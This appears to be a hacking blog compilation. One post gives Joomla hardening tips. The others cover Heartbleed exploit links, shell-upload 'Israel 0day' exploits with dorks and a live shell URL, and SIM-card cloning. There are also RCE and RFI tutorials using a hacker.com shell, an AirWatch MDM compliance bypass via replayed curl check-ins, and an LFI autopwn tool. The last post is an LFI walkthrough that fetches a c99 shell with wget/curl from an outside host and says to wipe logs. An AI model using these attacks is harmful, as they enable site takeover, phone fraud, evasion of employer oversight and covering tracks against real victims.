Secure Joomla sites

ecurity of Joomla Website by Htaccess
Htaccess is a configuration file from web servers that run Apache as their server software. It is a very powerful configuration file which can control the server. Htaccess is a hidden file which should be already present in the root directory of your server. If it’s not, then you can create it, but make sure that the right name of the file is “.htaccess” (yes, it starts with a dot). Since we can do so many things with the help of .htaccess, in this section I will discuss the security aspect of an .htaccess file for Joomla.
You can protect the administrative area using different techniques. For example, you can restrict it based on the IP address (in this case you’d need to create an .htaccess file on the administrator directory):

order deny,allow
allow from 116.71.18.189
deny from all

Remember, if your ISP is using the dynamic IP technique, then it is not a good idea to use this technique since your IP address might change at any given time. To prevent use of the directory listing (because an attacker may read important files off the server and a directory listening always help a hacker learn about the security practices of a website), you can write the code below into the .htaccess file which is present in your root:

IndexIgnore *
Options -Indexes

Another best practice is to disable the server signature because it gives an idea about the web server software and the version of the software. To do this, add this line in the .htaccess file to disable the server signature:

ServerSignature Off

Another important step is to secure the .htaccess file itself so that nobody can read it on the browser. To do this, you need to add these lines on the .htaccess file:

<Files .htaccess>
order allow,deny
deny from all
</Files>

Configuration.php is a very important file because it contains information about the database of the website and other relevant information. So you need to secure the configuration.php file by utilizing the .htaccess file:

<FilesMatch "configuration.php">
Order allow,deny
Deny from all
</FilesMatch>

Since there are various security risks associated with the configuration.php file, it is not enough to simply make the adjustments above. For maximum security, you need to move configuration.php outside the public_html. But how to do this? If you simply move the configuration.php file then your website might crash.
How to Move the Configuration.php Outside the public_html Joomla
Below is a tutorial that has been tested on Joomla 1.5 to move the configuration.php file outside the public_html.
In the first step, you need to create a directory home (outside the public_html). Suppose the directory name is irfan:







Download and make a backup of configuration.php.
Delete the current configuration.php from the Joomla folder (from public_html). Remember, when you delete it your website might crash and the error will read:






Go on the folder that has been created in the first step.
Upload the configuration.php in that file.
Go the Joomla file (includes/defines.php) and replace the line:  

define(‘JPATH_CONFIGURATION’,JPATH_ROOT); with: define(‘JPATH_CONFIGURATION’,JPATH_ROOT.DS.’../rootfoldername’);. If 

Joomla is in subdirectory, then replace it with: define(‘JPATH_CONFIGURATION’,JPATH_ROOT.DS.’../../’.DS.’rootfoldername’); (it is a case sensitive so be sure to use proper caps).
 

Remember, the rootfoldername is the name of the folder that we have created in the first step (which is irfan in this case study).
Repeat the same step for: administrator/includes/defines.php.
Now the website is ready and secure.

Conclusion
Since the Internet is not a very safe place, you need to take a personal interest in the security of your website. So if you’re using the Joomla platform, be sure to implement the best security practices available, if you want to remain secure.

Read More

HEART BLEED TOOLS (OPEN SSL)

HEART BLEED TOOLS (OPEN SSL)

CHECKER:

https://github.com/FiloSottile/Heartbleed

ssltest.py: Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford

http://pastebin.com/WmxzjkXJ

SSL Server Test :

https://www.ssllabs.com/ssltest/index.html

Metasploit Module: 

https://github.com/rapid7/metasploit-framework/pull/3206/files

Nmap NSE script: Detects whether a server is vulnerable to the OpenSSL Heartbleed: 

https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse

Nmap NSE script: Quick'n'Dirty OpenVAS nasl wrapper for ssl_heartbleed based on ssl_cert_expiry.nas 

https://gist.github.com/RealRancor/10140249

Heartbleeder: Tests your servers for OpenSSL:

https://github.com/titanous/heartbleeder?files=1

Heartbleed Attack POC and Mass Scanner:

https://bitbucket.org/fb1h2s/cve-2014-0160

Heartbleed Honeypot Script: 

http://packetstormsecurity.com/files/126068/hb_honeypot.pl.txt

Read More

Israel Private 0Day Shell Upload Exploits ASP|PHP

Hey Guyz ..Today I found some FRESH Private Israel 0Day Exploits . So i thought of sharing with you all....So lets Start....

1). First 0Day Shell Upload ASP | PHP

# Google Dork -|-

'prod1.aspx?pid=' site:il or You can also create your own Dork

# Exploit Upload 1 -|-
/admin/adminbanners.aspx

# Exploit Upload 2 -|- 
/admin/AdminPics.aspx

When you upload your asp or php shell just Check Code Source of the page you will see your url Shell example: /banners/1a62aa_bddf_4e3d_8464_f0f62ac8c7.asp

# DEMO SHELL -|- 
http://littlebags.co.il/banners/1dea62aa_bddf_4e3d_8464_f640f62ac8c7.asp

2). Second 0day Upload

# Dork -|- 
inurl:/index.php?categoryID= site:il
inurl:/index.php?ukey=auth
inurl:/index.php?ukey=feedback
inurl:/index.php?ukey=pricelist
inurl:/index.php?ukey=auxpage_faq
inurl:/shop/index.php?categoryID=
inurl:ukey=product&productID=

# Exploit -|-
/published/common/html/xinha/plugins/ImageManager/manager.php

‪#‎Exploit‬ -|-
/published/common/html/xinha/plugins/ExtendedFileManager/manager.php

3). Third 0day Upload Blind Sql Injection

 This just Targets with havij or manually and admin page of the script is www.target.co.il/QAdmin

# Dork -|- 

intext:cybercity site:il
inurl:index.php?id= <-- Page 4
intext:medicine site:il
inurl:index.php?id= <-- page 2

Read More

Sim-Cloning tut

1. Buy a Sim card Reader
2.Need a Blank sim card or super sim card
3.Download Magicsim at http://www.magicsim.com/en/multi-sim.asp? new_id=6
4. Download http://www.filecart.com/Windows/System-Utilities/Backup-Restore/USB-SIM-Card-Reader- Software_1711_1.html
5. Install programs.
6. go in phone tools, select sim card, then select unlock sim, it will promt for a code.
7 call network provider, they will ask for your phone number, your account info, name and security code,
then they will ask why you want to unlock your simcard, just tell them you need to unlock your sim to get it
to work with your overseas phone or something.
8. Once they give you the sim unlock code, enter it, and it will say sim unlocked.
9. remove the sim from your phone, place it in the cardreader, click read from card in magic sim program.
10. once it says connected, select crack sim in the toolbar. click strong ki and clink all of the other find options and then click start.
11. Once your ki is found and the crack is finished, click file, save as and save your cracked sim info to a that file.
12. IMPORTANT!!! you must click disconnect from the file menu or you will ruin your simcard. once it says
disconnected, remove the sim. put it in your phone and see if it still works, it should. if not, you either did not unlock your sim, or you tried to copy it instead of crack and save.
13. insert black 3g card Use other program, not magic sim at this point.
14. click connect
15. it will say no info found if it is truly blank.
16. select write to sim, it will promt you to select a dat file, select the one you saved before, now click start, it will take about 10 minutes to write it, once it is complete, it will ask for a security code, enter the security code network provider gave you, then click finish.
17. your card is cloned. if you try to make 2 calls at the same time, one will go through, the other will say call failed, and both phones will get the same messages, text and voice, and both will recieve the same calls, but only one can talk at a time.

Read More

Remote Code Execution (RCE)

Remote Code Execution (RCE)
I'm going to demonstrate you the Remote Code Execution vulnerability.

The main reason of this vulnerability is taking the un-filtered user input as a part of the command that will be executed.
Injection vulnerabilities (SQL, XPath, LDAP etc.) can be classified as RCE Vulnerabilities.

For example our source code will be like this;

PHP Code:

<?php <html>
<a href="?cmd=echo %TIME%">View Time</a><br>
<? if(isset($_GET['cmd'])) print "<b>Current Time: </b> " . shell_exec($_GET['cmd']); ?></html> 

As you can see, our page is executing a MS-DOS command to view the current time.
Note: This is not necessary actually. We can simply use the date() function of Php to view the current time.

Back to our subject. There is a parameter named "cmd" that takes its value via GET method. As you can guess, we can manipulate that parameter and execute any MS-DOS command we like.

Image has been scaled down 16% (676x202). Click this bar to view original image (799x238). Click image to open in new window.

We just gathered information about BIOS. Imagine how many you can do with this vulnerability if the user had full access.

(07-05-2013 02:32 AM)The Alchemist Wrote:  Another form of this vulnerability can be :

Code:

<form action="add.php" method="post">
<textarea rows="20" cols="30" name="text"></textarea>
<input type="submit" value="Submit" name="sub"/>
</form>

add.php :

PHP Code:

<?phpif(!empty($_POST['text']))
{
    $hand = fopen("some.php","a");
    fwrite($hand,$_POST['text']);
    fclose($hand);
}?>

And when someone executes some.php.....

Another example:

Code:

<form action="#" method="POST">
<b>Enter your name:</b><br>
<input type="text" name="name"><br>
<input type="submit" value="Send"><br>
<br>
</form>
<?php
if(!empty($_POST['name'])){
$filename = "some.shtml";
$file = fopen($filename, 'w') or die ("File couldn't opened!");
$text = "Hello ".$_POST['name']."!";
fwrite($file, $text);
fclose($file);
print '<a href="some.shtml">Click Here To Go!</a>';
}
?>

If you put in name field a SSI command, It'll be saved to some.shtml and will be executed when you open it.

More example;

(07-05-2013 08:54 PM)shp0ngl3 Wrote:  This is a nifty little vuln with possible severe outcome if in wrong hands. I've seen several ping services that's vulnerable to this.

I've seen code similar to this

Code:

<?php
$target = $_POST['target'];
exec("ping {$target}", $output);
foreach ($output as $line) {
    echo "{$line}<br />\n";
}

So, executing commands is as easy as in your own terminal

Code:

-c 0 google.com;ls -la /

or

Code:

-c 1 google.com && ls -la /

This is the logic of Remote Code Execution. To avoid this vulnerability, dont use the user input in your commands that will be execute. If you have to use, check and filter them properly.

I hope you'll like this tutorial

Read More

Bypassing AirWatch Root Restriction

Mobile devices are becoming more common in corporate environments. As a result, mobile device management solutions (MDM) have cropped up so that employers can remotely manage and wipe devices if necessary along with setting certain requirements that employees must comply with, such as setting a passcode, encrypting the device, and not jailbreaking or rooting the device. It’s certainly not a bad idea to enforce restrictions on devices that may contain sensitive information. However, bypassing some of the restrictions that an employer may put in place it not difficult. This is especially true if someone wants to keep their device rooted.  There are many contenders in the sphere of MDM software. For this blog I will be looking at AirWatch for Android. The device I will be using is a rooted Nexus 4 running Android 4.2.2.
[Note Update at End of Post - 09.13.13]

Background

AirWatch is an MDM solution that provides employers with the ability to manage mobile devices and enforce policies. An agent is installed on the device and monitors whether the device is compliant or not for specific policies. If a device is found to be non-compliant, the agent phones home to a server, notifying the employer of a non-compliant device.

Here is the default web interface for an AirWatch enrolled device. As you can see, my Nexus 4 is enrolled, is encrypted, and requires a passcode. However, it is still not compliant because my device has been “compromised,” i.e. rooted by myself. A poor word choice in my opinion. The same can be seen on the AirWatch agent.


If we navigate to the compliance section, we can see why we are not compliant.

Again, the agent shows that we are encrypted, but our device is “compromised.”

Digging Deeper

At this point I want to know how AirWatch is detecting that my phone is rooted. I tried removing the su binary and any superuser applications, but that didn’t seem to work. As a rooted phone, we can certainly grab the apk of the agent and tear it apart. That only revealed obfuscated java classes that would take a while to decipher. Next, I tried running strace against the agent process to get an idea of the calls that it is making, hoping that there would be something there that reveals what it is doing to detect root. Again, there weren’t any answers that I could find.

I decided to shelve looking for how AirWatch was detecting root for another day and instead I started focusing on the HTTP request and responses that the agent was sending and receiving. I started burp and setup a proxy on my Nexus 4. There is a fair amount of traffic that goes between the AirWatch agent and the server it’s talking to. One request in particular caught my eye.

This AirWatchBeacon checkin request. I omitted some of the more sensitive information in the request. As you can see there is an “IsCompromised” field in the request that is set as true. So I change that to false and sent the request off. After refreshing the web interface, my device is no longer compromised.

The agent also shows that my device is no longer compromised.

So now we know how the agent is checking into the server and whether or not your device is compromised. By changing a simple flag, we now control that. Furthermore, there doesn't seem to be any type of session information related with the request. We can replay the same request hours, even days later, and the server will accept it. The only downside now is that the agent will periodically do a check-in request with the server and report that the device is compromised. It’s a hassle to send a non-compromised request every time we want to be compliant. The first step I took in resolving this issue was to look at the AirWatch configuration options in its SQLite database.

Using the SQLite Editor app from the Android market, I open up the AirWatch database with root access.

Selecting the AirWatch database reveals a number of interesting tables.

The profileGroupSetting table is where most of the AirWatch configurations are stored.

There are a few rows that look interesting. The ones that contain interval in the name seem to set how often the AirWatch requests are sent. I tried changing the BeaconInterval to large values to see if it would take longer for the check in requests to be sent. That didn't seem to work. Neither did setting the value to zero or a negative value. For the most part, setting the interval values do not seem to do anything in my testing.

There is, however, another way to stop AirWatch from sending out request. Modifying the Android hosts file to block the host that the requests are being sent to. The Android hosts file is located in /system/etc/. Again, you have to be root to be able to modify the hosts file. I modified the hosts file to redirect the requested host to my localhost. The requested host is going to be different for every company, so I won’t be showing that. It’s been well over a week and my device has still not checked in and still shows that I’m compliant.

The only downside to not checking in often is that your device will show as not being seen for sometime. You employer may have a policy in place to remove devices that AirWatch shows as being inactive. One way to mitigate this is to periodically send out the checkin request yourself. Simply setting up a cronjob with curl to send out the checkin request work very well.

#!/bin/bash

 

curl -X POST -d @request https://host/DeviceServices/AirWatchBeacon.svc/checkin -H "Content-Type: application/json" -H "User-Agent: AirWatch Agent/4.0.401/Android/4.2.2" -H "Host: host"

Here is the json POST request data the curl command uses for –d @request:

{"payLoad":{"FriendlyName":"Android_sdNexus 4_353918050698915","Model":"Nexus 4","CustomerLocationGroupRef":"YourGroup","PhoneNumber":"1111111111","DeviceType":5,"C2dmToken":"APA91bHcoJnegJy23fPaa2Fg2miP0vJEuC9aVcAw9iuwKb8AQcnzr7OyiXShrJSGD_AajBPUwuSm4Y_gcuz3ibnnjfbfpkLnAnoF599IM2yZhTVaUq0XWLKFfNP11oYzIavq4OjTO5DH4y3XpkvWmQBD16qkFJEg1BFFuOA2y1SJo6aE2yILIIo","IsCompromised":"false","OsVersion":"4.2.2","SerialNumber":"1111111111","Name":"Google occam","MacAddress":"ff:ff:ff:ff:ff:ff","DeviceIdentifier":"11111111111111","AWVersion":"4.0.401","TransactionIdentifier":"a8098ea5-a54e-412f-a911-a58920a24dc7"}}

Finally add the bash script to your crontab by running “crontab –e” to edit the crontab and add the following at the end of the file:

0 */2 * * * /root/command.sh

This will cause the script to run every two hours.  Conclusion
MDM solutions are great for employers to manage mobile devices. However, they are not without their problems. Not only was I able to bypass compliance for having a rooted device, but I was also able to bypass the need to encrypt my device from the profileGroupSetting table. Bypassing compliance restrictions for AirWatch is relatively trivial after a few hours and I’m sure it is probably similar with many others MDM solutions.

Read More

RFI Full Tutorial For All New N00bs

Intro: What is RFI??

1.Understanding RFI

2.Finding RFI vulnerabilities

3.Exploiting RFI vulnerabilities

4.Securing RFI vulnerabilities

RFI means Remote file inclusion. 

RFI is a type of web application security hole.

On the net, there are so many sites which are vulnerable to RFI.

In this tutorial, I am going to show you RFI with PHP. 

PHP is a web script engine. Its the most widely used one so that's why I am using it in this tutorial.

Learn more about PHP: http://php.net

http://en.wikipedia.org/wiki/PHP

To understand what file inclusion is I am going to show a little example.

This is an example site in PHP:

PHP Code:<?php   $content = “Hello and welcome to the site”;?><html><head><title>Hello world</title></head><body>
<?php echo($content); ?>
</body></html>

This is a very basic page. But as your page expands you might

want to put the individual pages in their own files and include them in

the main file depending on user input.

This way, when you got pages with perhaps 10k lines of PHP code you don't have to use hours looking

for the bit of code you want to edit/view.

By user input I mean things like a URL GET argument. A GET argument could look like this:

HTML 

www.site.com/index.php?page=index

In the above example the PHP script would see the “page=index” and then show the content of “index”. The “index” can be anything, can be a file, SQL value, hard-coded variable. If it is a file, then the PHP script is most likely using the include() function and that is file inclusion.

1.Understanding RFI

So, in the above text I said that file inclusion is including files in another file. Well, that is all right but what does that actually mean?

Well, lets say we got 2 files.
index.php
content.php

The index.php is the file people is going to view when they visit my page. www.site.com as usual. But we want index.php to display the contents of content.php without the user actually visiting content.php.

All you would need to do is put this PHP script in the index.php:
 

 (php)

PHP Code: <?php include(&#8220;content.php”); ?>

Now we are showing the contents of content.php when the user visits index.php. If content.php was to include more PHP code it would also get executed.

That is it. We just did file inclusion! However, this example is just a dummy page and would most likely not be found in real life.


Lets create a new scenario. A more realistic scenario. We got the following files/pages:

index.php
1.php
2.php
3.php

Now, index.php is again the file the users are going to visit. On the default index we are going to display 3 links.

www.site.com/index.php?page=1
www.site.com/index.php?page=2
www.site.com/index.php?page=3

When the user clicks the first link its going to show the content of 1.php, when the user clicks the second link its going to show the contents of 2.php and when the user clicks the last link its going to show the contents of 3.php.

The index.php script site would in this case look something like this(note that I am now coding like an idiot to create security holes):

Code: (php)

PHP Code: if (isset($_GET['page'])) {
   include($_GET['page'] . &#8220;.php”); } else {
   echo('<p><a href="index.php?page=1">page1</a></p>');
   echo('<p><a href="index.php?page=2">page2</a></p>');
   echo('<p><a href="index.php?page=3">page3</a></p>'); } 

The content of 1,2 and 3 is not important in this example so I wont say anything about that.

Now, when a user clicks the page1 link he or she is taken to www.site.com/index.php?page=1

The PHP script in index.php will now see that the user is requesting the page called 1 and it will include the number in the URL + “.php” the same goes for 2 and 3.


Now, what is this “Remote” part in RFI all about? Well, this belongs more in the “exploting RFI vulnerabilities” part of this tutorial but I have to say something short about it now.

The above code is vulnerable to RFI. You can test this by visiting:
www.site.com/index.php?page=4

That would give us an error(assuming the server administrator have not turned off “show errors” in the PHP configuration). The error would look something like this:

Warning: include(page4.php) [function.include]: failed to open stream: No such file or directory in PATH on line 3
Warning: include() [function.include]: Failed opening 'page4.php' for inclusion (include_path='.;PATH') in PATH\index.php on line 3

This would tell us that the include() function used in this script is not secured and can be exploited. The way you exploit it is by getting it to include your code so that you can control the server. This is where the “remote” part of RFI comes in. You can create a PHP script and save it as .txt, upload it to a server and then visit something like this:

http://www.site.com/index.php?page=http://hacker.com/shell.txt?

Note that the ? is to get rid of the “.php” at the end as we did not name the file .txt.php and also if you where to try to include a .php file from a remote server it will only give the executed output of the PHP file.

Now we have successfully put out code in the PHP engine of the victim server and we are free to do whatever you can do with PHP. Which is mostly anything.

 2.Finding RFI vulnerabilities


Like said above. To check for the most basic vulnerabilities all you need to do is manipulate the GET arguments and look for error messages looking like the one above. For more advance ones you might need to try things out, this is called blind RFI. As you gain more knowledge about PHP and RFI you will understand how to perform blind RFI's.

Here is a few examples of GET arguments manipulating:

www.site.com/index.php?id=1→
www.site.com/index.php?id=1asdfsaf
www.site.com/index.php?id=index→
www.site.com/index.php?id=fuckkkk
www.site.com/index.php?id=lolzzzz


Use your imagination... And for those who did not understand. The arguments does not need to be “id” or “page” or “site”. It can be anything.

There are more advance versions of RFI like POST argument RFI and even cookie RFI and HTTP header RFI and so on. But these should be easy to understand once you gain more knowledge about the HTTP protocol and TCP/IP with HTTP servers and PHP etc.

3.Exploiting RFI vulnerabilities


Lets say that you have successfully found a vulnerable page.

The URL is www.site.com/index.php?page=index

The PHP script is made in such a way that we only need to edit page=index to page=http://hacker.com/shell.txt and we now got our PHP code over to the victims server and it executes.

What you should do now is try to make something called a shell. A shell is essentially just a PHP script that can perform Explorer like actions. Like read/write/edit/create files and navigate in folders etc etc. Some shells even got inbuilt exploits to gain root access on the server, but that's another story.

Now, there is a truckload of premade shells out there but I really recommend you creating your own as it is good learning and most shells is actually detected by antiviruses believe it or not. So if the server you are trying to access got a antivirus it will now work and it might perhaps spoil your attack.

4.Securing RFI vulnerabilities


Secure user inputs!!!! And not just those you THINK is used in SQL queries or include functions or etc. ALL user inputs should be secured. You do this by strip/disallow words or phrases or symbols in the user inputs. And the most common solution when it comes to RFI is just to make the page less dynamic and hardcode the pages. If you still want to have a dynamical editable page you MUST make sure you secure the user inputs. Check it for the word “http”, check it for the word “www.”, check it for “../”, check it for “?” etc etc. Disable “show PHP errors” in the PHP configuration. Do a file_exists() check. These are all easy things you can do to prevent RFI(and LFI, but that is again another story).

Here is a example on a dynamic page and a hardcoded page. The dynamic one is not secure, the hardcoded one is.

Dynamic:

PHP Code: if (isset($_GET['page'])) {
   include($_GET['page'] . “.php”); } else {
   echo('<p><a href="index.php?page=1">page1</a></p>');
   echo('<p><a href="index.php?page=2">page2</a></p>');
   echo('<p><a href="index.php?page=3">page3</a></p>'); }  

Hardcoded:

PHP Code:
if (isset($_GET['page']))
{
   if ($_GET['page'] == “page1”)
      include(“1.php”);

   if ($_GET['page'] == “page2”)
      include(“2.php”);

   if ($_GET['page'] == “page3”)
      include(“3.php”);
}
else
{
   echo('<p><a href="index.php?page=1">page1</a></p>');
   echo('<p><a href="index.php?page=2">page2</a></p>');
   echo('<p><a href="index.php?page=3">page3</a></p>');
}  

Read More

LFI with perl script :D

Source Download from here

Features

• Signature-free
• Session Splicing
• User-Agent and Log injection
• Arithmetic Test

Usage

 perl lfi_autopwn.pl -h www.vuln.tld -u "/vuln.ext?page=main&foo=bar" -i page

This script will attempt to gain code execution on sites vulnerable to local file inclusion via an httpd error log or by modifying the user-agent and including a file containing environment variables. The php code execution test is performed using an arithmetic challenge, and the script uses system() as its php execution function. The fact that every part of this process is randomized including the math challenge prevents signature based detection while LibWhisker provides IDS Evasion.

Notice: It is possible that this script will not work on your intended target but tests positive for php execution. In that case, changing your bash command execution function from system to one of many others is most likely to yield the desired results.

Protip: Make sure you've saved httpdlogs.conf to the same directory as lfi_autopwn.pl.

httpdlogs.conf

The httpdlogs.conf file dictates filenames for possible error log locations.

If you know any filenames that aren't listed here, feel free to add them to your local copy. Files are simply separated by newline.

• ./err.log
• ./error_log
• ./error.log
• /etc/httpd/conf/logs/error_log
• /etc/httpd/logs/error_log
• /home/php5/logs/error_log
• ../log/error_log
• ../log/error.log
• ../logs/error_log
• ../logs/error.log
• /proc/self/fd/2
• /usr/local/apache2/log/error_log
• /usr/local/apache2/logs/error_log
• /usr/local/apache2/logs/error.log
• /usr/local/apache/error.log
• /usr/local/apache/log/error_log
• /usr/local/apache/logs/error_log
• /usr/local/apachessl/logs/dummy-host.example.com-error_log
• /usr/local/apachessl/logs/error_log
• /usr/local/httpd/log/error_log
• /usr/local/httpd/logs/error_log
• /usr/local/php/log/error_log
• /var/log/apache2/error_log
• /var/log/apache2/error.log
• /var/log/apache/error_log
• /var/log/httpd-error.log
• /var/log/httpd/error_log
• /var/log/nginx/error.log
• /var/log/php-fcgi/error_log
• /var/log/php-fpm/err.log

Other Execution/Interesting PHP Functions

passthru, leak, link, shell_exec, exec, show_source, fpaththru, virtual, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix, _getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname, posix_uname, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, phpinfo => php_uname, getmyuid, getmypid, passthru, leak, listen, diskfreespace, tmpfile, link, ignore_user_abord, shell_exec, dl, set_time_limit, exec, system, highlight_file, source, show_source, fpaththru, virtual, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix, _getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname, posix_uname, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, phpinfo

Read More

How to use lfimap tool for LFI :D

Installation

$ cd /data/src/
$ wget http://lfimap.googlecode.com/files/lfimap-1.4.8.tar.gz
$ mkdir -p /pentest/web/
$ tar xvzf lfimap-1.4.8.tar.gz -C /pentest/web/

Usage

Syntax

$ python lfimap.py -t <target> [options]

Options

--target, -t <target>

Target. E.g. http://www.test.com/ss.php?page=[LFI HERE]

--null, -n

Put a null byte to bypass some controls

--user, -u <user>

Is used to send username in basic authentication

--passw, -p <password>

Is used to send password in basic authentication

--proxy, -w <proxy>

Proxy support

--output, -o <file>

Set Output file

--hexa, -x

Encode the url to hexa

Examples

Example #1: PoC

Description

The following example is based on a specific vulnerable code (download it here) that doesn't properly check/sanitize user inputs and is hence vulnerable to LFI attacks. LFIMap has been tested against this application as a Proof of Concept.

Stdout

LFIMap has been called with following parameters:

$ python lfimap.py -t "http://127.0.0.1/poc/LFI/index.php?page=page2.txt" -o report.html

Here is the output on the screen:

 lfi detected in "page" parameter
--------------------------------------------------------------------
Made by Augusto Pereyra
Thanks to www.artsweb.com.ar
This code is distributed under GPL Licence
Detecting root path of site
--------------------------------------------------------------------

Going down 0 folder
Going down 1 folder
Going down 2 folder
Going down 3 folder
Going down 4 folder
Going down 5 folder
root path finded in: 
-------------------------------------------------------------
http://127.0.0.1/poc/LFI/index.php?page=../../../../../&
 The root of the File system was found 6 levels down
 This is a Linux System
-------------------------------------------------------------
2011-02-03 06:52:45.401371
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../proc/version&
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/apache2/apache2.conf&
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/mysql/my.cnf&
Possible password detected in this file
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/sysctl.conf&
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/passwd&
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/ts.conf&
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/ca-certificates.conf&
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/debconf.conf&
Possible password detected in this file
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/bash_completion.d/debconf&
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/xdg/user-dirs.conf&
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/gnome-vfs-2.0/modules/default-modules.conf&
(...TRUNCATED...)

Generated report

Here is an extract of the generated html report:

Proof of Concept

By clicking on one of the links from the generated html report, here is the proof of concept. We can see that the application is vulnerable to LFI attacks.

Read More

How to hack a website with Local file inclusion or LFI

To find a vulnerable website, we will be using what is known as a Google 'dorks; simply Google search a specific string or term to yield the desired results. often considered hacking' class='bbc ipSeoAcronym'>dork'. All you have to do is paste the dorks; simply Google search a specific string or term to yield the desired results. often considered hacking' class='bbc ipSeoAcronym'>dork into Google search, and see what you find!
 

allinurl:index.php?page=

Essentially you can replace 'index' and 'page' with whatever words you want and then search for that.

For example, you can use:

allinurl:site.php?site=

Once you paste your dorks; simply Google search a specific string or term to yield the desired results. often considered hacking' class='bbc ipSeoAcronym'>dork into Google, you should come up with a list of website which contain that URL, simply go to one of these and then follow the steps below!

NOTE: Few sites are vulnerable to LFI, but they do exist! You just have to keep searching until you find one.

So, let's say that we find the following site using our dorks; simply Google search a specific string or term to yield the desired results. often considered hacking' class='bbc ipSeoAcronym'>dork:

http://www.site.com/index.php?page=contacts.php

What we're going to do is replace contacts.php with 'null', so that you get the following:

http://www.site.com/index.php?page=null

If you see a list of errors running down the page, or missing content (pictures, text etc.), then the site is vulnerable and we may continue, otherwise just move on to the next site.

Now, we're going to try and connect to a file which we know exists on Linux servers, /etc/passwd.

Since index.php has the rights to connect to a file like contacts.php, it's possible that the administrator has forgottten to restrict its access to other files, including the files containing sensitive data.

We're going to try to read the file "/etc/passwd" which contains data on root users, etc.

So, now change your URL to:

http://www.site.com/index.php?page=/etc/passwd

If you see a large list of data appear, then that's great, the site is completely vulnerable to LFI, and you've pretty much got this in the bag.

If you don't see this data, but get a 403 error or more errors, then move on to another site.

Now, change your URL again to:

http://www.site.com/index.php?page=/proc/self/environ

If you now see a new set of data, that's great.

If somewhere in the data the following is shown, then that's even better.

DOCUMENT_ROOT=((Random value here))

If not, unfortunately you'll have to move on, there are ways to circumvent this, but I'm keeping this tutorial as basic as I can.

Now, open up Tamper Data, and change your User Agent value to the following:

<?system('id');?>

This is a basic PHP code to check if we can execute code on our vulnerable machine.
The page should refresh, and your DOCUMENT_ROOT value should have changed, if it didn't, go for another website.
Now change your User Agent again, this time to

<?system('uname -a');?>

If your User Agent changes again, great.
Now we're going to upload a shell, which will grant us full control of the site, and the ability to deface / root / whatever the fuck you feel like doing.
Change your user agent to the following:

<?system('wget http://www.sh3ll.org/c99.txt -O secret.php');?>

What the above command does is saves a text form of a powerful PHP shell, 'C99' and then renames it to secret.php.
Note: If the above wget command does not work, you should try curling it instead:

<?system('curl -o shell.php http://www.sh3ll.org/c99.txt');?>

Now navigate to your shell, which should be at the following directory:

http://www.site.com/secret.php

NOTE: If your website's vulnerable page was something like

http://www.site.com/dir/dir/dir/index.php?page=contacts.php

Then your shell will be at the directory of the index.php, so for the above case, you will find it at:

http://www.site.com/dir/dir/dir/secret.php

Now that your shell is uploaded, go nuts!

Don't forget to wipe the logs before you leave -- IMPORTANT.

Good luck and have fun!

Read More